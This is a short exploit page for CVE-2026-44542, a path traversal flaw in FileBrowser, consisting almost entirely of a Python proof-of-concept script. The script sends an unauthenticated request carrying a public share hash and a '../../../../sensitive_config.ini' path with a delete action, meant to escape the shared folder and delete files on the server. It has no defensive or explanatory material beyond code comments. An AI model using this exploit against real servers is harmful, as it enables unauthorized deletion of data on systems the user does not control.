CVE-2026-44542 FileBrowser路径穿越漏洞

import requests # Target configuration target_host = "http://localhost:8080" public_share_hash = "VALID_PUBLIC_SHARE_HASH_HERE" # The vulnerable endpoint for deleting resources url = f"{target_host}/public/api/resources" # Headers simulating an unauthenticated user with a share hash headers = { "X-Share-Hash": public_share_hash, "Content-Type": "application/json" } # Payload demonstrating path traversal # The attacker inputs "../../sensitive_config.ini" to escape the shared folder payload = { "items": [ { "path": "../../../../sensitive_config.ini", "action": "delete" } ] } try: # Sending the DELETE request to exploit the vulnerability response = requests.post(url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! File deleted.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"[!] Error: {e}")